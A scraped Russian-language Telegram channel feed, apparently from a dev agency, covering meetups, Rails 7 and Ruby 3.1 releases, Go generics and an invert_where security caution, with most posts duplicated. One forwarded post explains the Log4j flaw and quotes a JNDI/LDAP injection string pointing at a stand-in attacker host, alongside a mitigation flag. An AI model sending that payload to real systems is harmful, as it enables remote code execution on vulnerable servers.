Меньше часа осталось до старта онлайн-митапа Winter Saint P 2021 Meetup, где выступают сразу двое марсиан (и оба с докладами про базы данных): Дмитрий Цепелев и Андрей Новиков.
Регистрация и ссылка на Zoom: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Регистрация и ссылка на Zoom: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Kommunity
Winter Saint P 2021 meetup
Народ, 4 докладчика: Илья Зыкин. 5 лет ремоутаЕвгений Масленков. Event based notification systemДмитрий Цепелев. Как и зачем MVCC мешает нам пользоваться базой
Праздник к нам приходит, а с ним и ежегодный челлендж Advent of Code!
Небольшие задачки для разминки и новогоднего настроения каждый день в течение декабря вплоть до 25 декабря. 🎄
http://amp.gs/jYwoI
Небольшие задачки для разминки и новогоднего настроения каждый день в течение декабря вплоть до 25 декабря. 🎄
http://amp.gs/jYwoI
Интересные мысли о настоящем и будущем программирования от Алана Кея — автора Smalltalk, одного из изобретателей ООП и GUI и вообще живой легенды:
https://www.youtube.com/watch?v=D43PlUr1x_E
https://www.youtube.com/watch?v=D43PlUr1x_E
Вышел первый релиз-кандидат Ruby on Rails 7.0 (🎁🎄)
В комплекте:
• новый подход к работе с JS: можно совсем без сборщиков, используя ESM, Hotwire, Turbo, а можно со сборщиком, причём на выбор: esbuild, rollup.js или Webpack. И CSS-фреймворк можно выбрать (PostCSS, Tailwind CSS и другие).
• шифрованные атрибуты в БД «из коробки»
• возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
• и многое другое.
Кстати, в ченджлоге есть даже парочка марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage и #40491 Выражение FILTER (SQL:2003) в Arel.
Подробнее у фреймворка в блоге: weblog.rubyonrails.org/2021/12/6/Rails-7-0-rc-1-released
В комплекте:
• новый подход к работе с JS: можно совсем без сборщиков, используя ESM, Hotwire, Turbo, а можно со сборщиком, причём на выбор: esbuild, rollup.js или Webpack. И CSS-фреймворк можно выбрать (PostCSS, Tailwind CSS и другие).
• шифрованные атрибуты в БД «из коробки»
• возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
• и многое другое.
Кстати, в ченджлоге есть даже парочка марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage и #40491 Выражение FILTER (SQL:2003) в Arel.
Подробнее у фреймворка в блоге: weblog.rubyonrails.org/2021/12/6/Rails-7-0-rc-1-released
В поисках жизни в Солнечной системе лаборатория NASA Jet Propulsion Labs использует платформу Labelbox и ее machine learning-алгоритмы. А эту платформу, в свою очередь, поддерживают инструменты, один из которых — наш марсианский продукт imgproxy Pro.
Злые Марсиане ищут добрых, получается.
http://amp.gs/jYbZ6
Злые Марсиане ищут добрых, получается.
http://amp.gs/jYbZ6
Авторы Macaw, Swift-библиотеки для работы с SVG, подарили миру Apple-разработчиков SVGView — парсер и рендерер SVG-файлов на SwiftUI.
http://amp.gs/jYb73
http://amp.gs/jYb73
Злая Марсианка Вика Мельникова обсудила тонкости найма команды продуктовой разработки на подкасте #TechForNonTechies с Софией Матвеевой. Автор подкаста — ментор и создатель Enty, в разработке которого нам довелось поучаствовать.
http://amp.gs/jtjfg
http://amp.gs/jtjfg
Рассказываем об одном из самых крутых мобильных кейсов Марсиан — о том, как в качестве технической команды с нуля создавали FEED, новую социальную сеть, в основе которой видео и только видео со множеством эффектов (и никакого текста!).
При работе над iOS приложением поработали с последними технологиями с мобильного фронта, включающими Swift, SwiftUI, Combine, Compositional Layout, Core ML, GraphQL, социальные механики и множество фич для встроенного видео-редактора.
http://amp.gs/jt8qx
При работе над iOS приложением поработали с последними технологиями с мобильного фронта, включающими Swift, SwiftUI, Combine, Compositional Layout, Core ML, GraphQL, социальные механики и множество фич для встроенного видео-редактора.
http://amp.gs/jt8qx
Неделю назад прошёл Saint P Ruby Winter 2021 meetup. Видео с него уже доступно на YouTube вместе с докладами марсиан!
Доклад Дмитрия Цепелева про мультиверсионность в базах данных начинается с 36:35, а доклад Андрея Новикова про индексы в них же — с 1:05:05.
Наслаждайтесь: youtu.be/BhI2BnOTrQs
Вопросы по докладам не стесняйтесь спрашивать в чате питерского Ruby-сообщества @saintprug — авторы там есть и активно участвуют, хоть сами и не из Санкт-Петербурга.
Доклад Дмитрия Цепелева про мультиверсионность в базах данных начинается с 36:35, а доклад Андрея Новикова про индексы в них же — с 1:05:05.
Наслаждайтесь: youtu.be/BhI2BnOTrQs
Вопросы по докладам не стесняйтесь спрашивать в чате питерского Ruby-сообщества @saintprug — авторы там есть и активно участвуют, хоть сами и не из Санкт-Петербурга.
Forwarded from Кавычка (Bo0oM)
У половины интернета нашли выполнение произвольного кода через Log4j.
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Выглядит это так:
1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.
Гроб. Гроб. Кладбище.
Временный фикс:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”
Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Вышла финальная версия Ruby on Rails 7.0!
Большое обновление, которому задолго до релиза пророчили революционную роль в веб-разработке — ведь по умолчанию работа с фронтендом теперь организована совсем по-новому (или слишком хорошо забытому старому) — без сборщиков и Node.js на разработческой машине. Современные веб-технологии (ESM, HTTP/2, import maps), а также рельсовое «ноу-хау» Hotwire (с Turbo и Stimulus под капотом и, кстати, мы про него уже написали пост у нас в блоге), позволяют разрабатывать современные интерфейсы без SPA и дополнительной сложности. Насколько такой подход «взлетит» и будет ли ренессанс рельсовых вьюх — это нам еще предстоит увидеть.
Ещё из значимого в этом релизе:
• шифрованные атрибуты в БД «из коробки»
• возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
• управление кэшировем partials (caching? и uncacheable!)
• и многое другое.
Минимальная версия Ruby теперь 2.7.
Ну а в полном ченджлоге, где есть изменения разной степени революционности, нашлось место и парочке небольших марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage, #40491 Выражение FILTER (SQL:2003) в Arel, #41933 Улучшения upsert_all.
Читайте подробнее в анонсе у фреймворка в блоге и зацените новый веб-сайт проекта: rubyonrails.org.
Большое обновление, которому задолго до релиза пророчили революционную роль в веб-разработке — ведь по умолчанию работа с фронтендом теперь организована совсем по-новому (или слишком хорошо забытому старому) — без сборщиков и Node.js на разработческой машине. Современные веб-технологии (ESM, HTTP/2, import maps), а также рельсовое «ноу-хау» Hotwire (с Turbo и Stimulus под капотом и, кстати, мы про него уже написали пост у нас в блоге), позволяют разрабатывать современные интерфейсы без SPA и дополнительной сложности. Насколько такой подход «взлетит» и будет ли ренессанс рельсовых вьюх — это нам еще предстоит увидеть.
Ещё из значимого в этом релизе:
• шифрованные атрибуты в БД «из коробки»
• возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
• управление кэшировем partials (caching? и uncacheable!)
• и многое другое.
Минимальная версия Ruby теперь 2.7.
Ну а в полном ченджлоге, где есть изменения разной степени революционности, нашлось место и парочке небольших марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage, #40491 Выражение FILTER (SQL:2003) в Arel, #41933 Улучшения upsert_all.
Читайте подробнее в анонсе у фреймворка в блоге и зацените новый веб-сайт проекта: rubyonrails.org.
Сергей Александрович, автор imgproxy, побывал в гостях у подкаста Remote Talk. Поговорили об imgproxy и open source в целом, обстановке в мире Go и выборе технологий на проектах Злых Марсиан.
YouTube: http://amp.gs/jt7Uu
Аудио: http://amp.gs/jt7U0
YouTube: http://amp.gs/jt7Uu
Аудио: http://amp.gs/jt7U0
И награду Highest Satisfaction от The State of CSS 2021 (с рейтингом удовлетворенности в 91%) получает… PostCSS. 🏆
Безумно круто! Поздравляем нашего коллегу Андрея Ситника, автора PostCSS и многих других open source проектов, хорошо известных в мире фронтенда! 🎉
http://amp.gs/jtEXF
Безумно круто! Поздравляем нашего коллегу Андрея Ситника, автора PostCSS и многих других open source проектов, хорошо известных в мире фронтенда! 🎉
http://amp.gs/jtEXF
На этой неделе в марсианском блоге: как Machine Learning-инженер марсиан Алексей Газиев и художник Глеб Солнцев использовали нейронные сети, чтобы создать картины в уникальном стиле художника. А в результате появился арт-проект SunGaz, представленный на выставках в нескольких странах и использованный для оформления декораций в спектакле по Буковски.
Рассказали подробно обо всех шагах и примененных инструментах. Может ли нейронная сеть заменить еще и художника? Наше мнение — в статье. Ждем вашего.
http://amp.gs/jtVlk
Рассказали подробно обо всех шагах и примененных инструментах. Может ли нейронная сеть заменить еще и художника? Наше мнение — в статье. Ждем вашего.
http://amp.gs/jtVlk
В преддверии выхода новой версии Руби предлагаем вам посмотреть недавний доклад Владимира Дементьева с тверского митапа Trampoline. О том, чем и как жив Руби (и, внезапно, сколько ему осталось 😮):
https://www.youtube.com/watch?v=7Q51UKZSLwU
https://www.youtube.com/watch?v=7Q51UKZSLwU
YouTube
Чем хорош "Руби" и сколько ему осталось / Владимир Дементьев
Последние несколько лет Ruby уверенно занимает первое место среди языков, которым диагностируют смерть, но которые при этом остаются живее всех живых. Зачем мне, разработчику на PHP/Java/Cobol, вообще знать про этот ваш хипстерский полумертвый Ruby?
Выступление…
Выступление…
«Они убили Go», или «Пусть лучше Go прогнется под нас», или… Ну, вы поняли — в Go дженерики подвезли (в на днях вышедшей 1.18.beta1):
http://amp.gs/jt44S
http://amp.gs/jt44S
go.dev
Tutorial: Getting started with generics - The Go Programming Language
Go is an open source programming language that makes it easy to build simple, reliable, and efficient software.
У нашего проекта AnyCable пополнение — встречайте скринкасты AnyCasts, посвященные разработке real-time приложений на Ruby и не только.
В открывающем эпизоде Владимир Дементьев пишет с нуля прототип на Rails 7, Hotwire и AnyCable:
http://amp.gs/jtd7F
В открывающем эпизоде Владимир Дементьев пишет с нуля прототип на Rails 7, Hotwire и AnyCable:
http://amp.gs/jtd7F
Почему запрос к базе данных на одних и тех же данных локально может работать быстро, а на стейджинге (или даже на продакшене) — медленно?
Марсианский инженер Андрей Новиков разбирает один такой случай в короткой статье, из которой можно чуть больше узнать о том, как могут выполняться запросы в системах управления базами данных и что на это влияет (слова-спойлеры: селективность, статистика).
Читайте: habr.com/ru/post/597651.
Марсианский инженер Андрей Новиков разбирает один такой случай в короткой статье, из которой можно чуть больше узнать о том, как могут выполняться запросы в системах управления базами данных и что на это влияет (слова-спойлеры: селективность, статистика).
Читайте: habr.com/ru/post/597651.
Хабр
PostgreSQL: занимательный пример работы индексов, планировщика запросов и магии
В начале месяца я прочитал доклад про индексы в базах данных для Saint P Ruby Community и буквально через несколько дней жизнь не замедлила подкинуть мне показательный пример работы индексов,...
По традиции, на католическое Рождество, вышла новая версия Ruby, Ruby 3.1.0:
http://amp.gs/jtN0G
Главное новшество релиза — YJIT, JIT-компилятор, разработку которого спонсирует Shopify, одно из крупнейших (или крупнейшее?) Rails-приложение в мире. YJIT создавался с прицелом на ускорение "real-world" Rails-приложений, и прочитать про него можно здесь:
http://amp.gs/jtN0x
Также в комплекте новый gem debug для отладки, много улучшений поменьше и отдельные изменения в языке, которые, наверное, заинтересуют в первую очередь тех, кто много проводит в багтрекере Ruby и спорах вокруг синтаксиса языка.
Стоит отметить, что Rails 7 пока не работает с Ruby 3.1.0: можно подождать версии Rails 7.0.1, или воспользоваться версией напрямую из git.
http://amp.gs/jtN0G
Главное новшество релиза — YJIT, JIT-компилятор, разработку которого спонсирует Shopify, одно из крупнейших (или крупнейшее?) Rails-приложение в мире. YJIT создавался с прицелом на ускорение "real-world" Rails-приложений, и прочитать про него можно здесь:
http://amp.gs/jtN0x
Также в комплекте новый gem debug для отладки, много улучшений поменьше и отдельные изменения в языке, которые, наверное, заинтересуют в первую очередь тех, кто много проводит в багтрекере Ruby и спорах вокруг синтаксиса языка.
Стоит отметить, что Rails 7 пока не работает с Ruby 3.1.0: можно подождать версии Rails 7.0.1, или воспользоваться версией напрямую из git.
В недавно вышедшей Ruby on Rails 7.0 есть множество нововведений: больших и малых, революционных и не очень, полезных и противоречивых.
Сегодня расскажем об одном противоречивом: полезном, но очень опасном при неаккуратном использовании. Знакомьтесь, метод
С одной стороны, это очень удобная штука для быстрого получения обратных условий для выборки данных из базы:
Но проблема кроется в том, что инвертируются все where-условия, наложенные на скоуп, включая те, что были добавлены при сцеплении скоупов и в
При неаккуратном использовании можно сделать большую такую дыру в безопасности — например, выдать одному клиенту данные других клиентов в мультитенантном приложении.
Больше страшных примеров можно найти в этом блоге: blog.kiprosh.com/side-effects-of-activerecords-new-feature-invert_where-in-rails-7
А советы по безопасному использованию — в этом: jbhannah.net/articles/rails-7-using-invert-where-safely
И есть предложение написать копа в RuboCop-Rails, который будет помогать отлавливать потенциально небезопасное использование: github.com/rubocop/rubocop-rails/issues/470 (Кто хочет поконтрибьютить в опенсорс? Вот хорошая задача!)
Используйте новые возможности языков и фреймворков с умом и меньше багов вам в наступившем году!
Сегодня расскажем об одном противоречивом: полезном, но очень опасном при неаккуратном использовании. Знакомьтесь, метод
invert_where
в скоупах ActiveRecord.С одной стороны, это очень удобная штука для быстрого получения обратных условий для выборки данных из базы:
Post.published.invert_where
и вуаля.Но проблема кроется в том, что инвертируются все where-условия, наложенные на скоуп, включая те, что были добавлены при сцеплении скоупов и в
default_scope
(который многие считают злом и небезосновательно).При неаккуратном использовании можно сделать большую такую дыру в безопасности — например, выдать одному клиенту данные других клиентов в мультитенантном приложении.
Больше страшных примеров можно найти в этом блоге: blog.kiprosh.com/side-effects-of-activerecords-new-feature-invert_where-in-rails-7
А советы по безопасному использованию — в этом: jbhannah.net/articles/rails-7-using-invert-where-safely
И есть предложение написать копа в RuboCop-Rails, который будет помогать отлавливать потенциально небезопасное использование: github.com/rubocop/rubocop-rails/issues/470 (Кто хочет поконтрибьютить в опенсорс? Вот хорошая задача!)
Используйте новые возможности языков и фреймворков с умом и меньше багов вам в наступившем году!